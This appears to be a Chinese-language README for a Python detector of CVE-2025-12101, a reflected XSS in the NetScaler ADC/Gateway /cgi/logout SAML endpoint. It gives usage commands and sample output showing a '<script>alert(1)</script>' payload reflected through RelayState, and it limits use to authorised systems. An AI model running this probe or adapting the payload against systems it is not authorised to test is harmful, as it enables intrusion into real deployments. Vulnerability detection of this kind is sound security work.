用于检测 Citrix NetScaler ADC / Gateway 实例是否存在 CVE-2025-12101(/cgi/logout 上的反射型 XSS)的简单 Python PoC,利用精心构造的 SAMLResponse + RelayState 载荷。
⚠️ 仅在你拥有或得到明确授权测试的系统上使用此工具。
CVE-2025-12101 是一个反射型跨站脚本(XSS)漏洞,影响配置为 Gateway 或 AAA 虚拟服务器的 NetScaler ADC 和 NetScaler Gateway。
在受影响的配置下,/cgi/logout 端点处理 SAML 登出响应时,可能会未经适当编码直接回显 RelayState 参数中攻击者控制的数据,从而导致 XSS。
研究和技术细节来自 watchTowr Labs:
本仓库提供了一个最小化的原始 TLS Python 检测器,发送相同风格的载荷并检查 HTTP 响应。
克隆仓库:
git clone https://github.com/6h4ack/CVE-2025-12101-checker.git
cd CVE-2025-12101-checker
确保已安装 Python 3。
主脚本接受一个必需参数:-u / --url。
python3 cve-2025-12101.py -u https://www.example.com
也支持:
python3 cve-2025-12101.py -u www.example.com
python3 cve-2025-12101.py -u http://www.example.com
URL 会在内部规范化;脚本提取主机名和端口(HTTPS 默认为 443,HTTP 默认为 80)。
示例(针对存在漏洞的目标):
[*] Testing target: www.example.com:443
===== RAW HTTP RESPONSE BEGIN =====
HTTP/1.1 302 Object Moved
Content-Type: text/html
...
<script>alert(1)</script>
...
===== RAW HTTP RESPONSE END =====
[+] HTTP status code: 302
[+] Payload '<script>alert(1)</script>' reflected: True
[VULNERABLE] XSS confirmed on www.example.com with payload '<script>alert(1)</script)'
对于不存在漏洞的目标,你会看到类似:
[INFO] No XSS behaviour detected on www.example.com with this payload.
ANSI 颜色用于使结果在终端中更易辨认(绿色表示存在漏洞,红色表示无漏洞或错误状态)。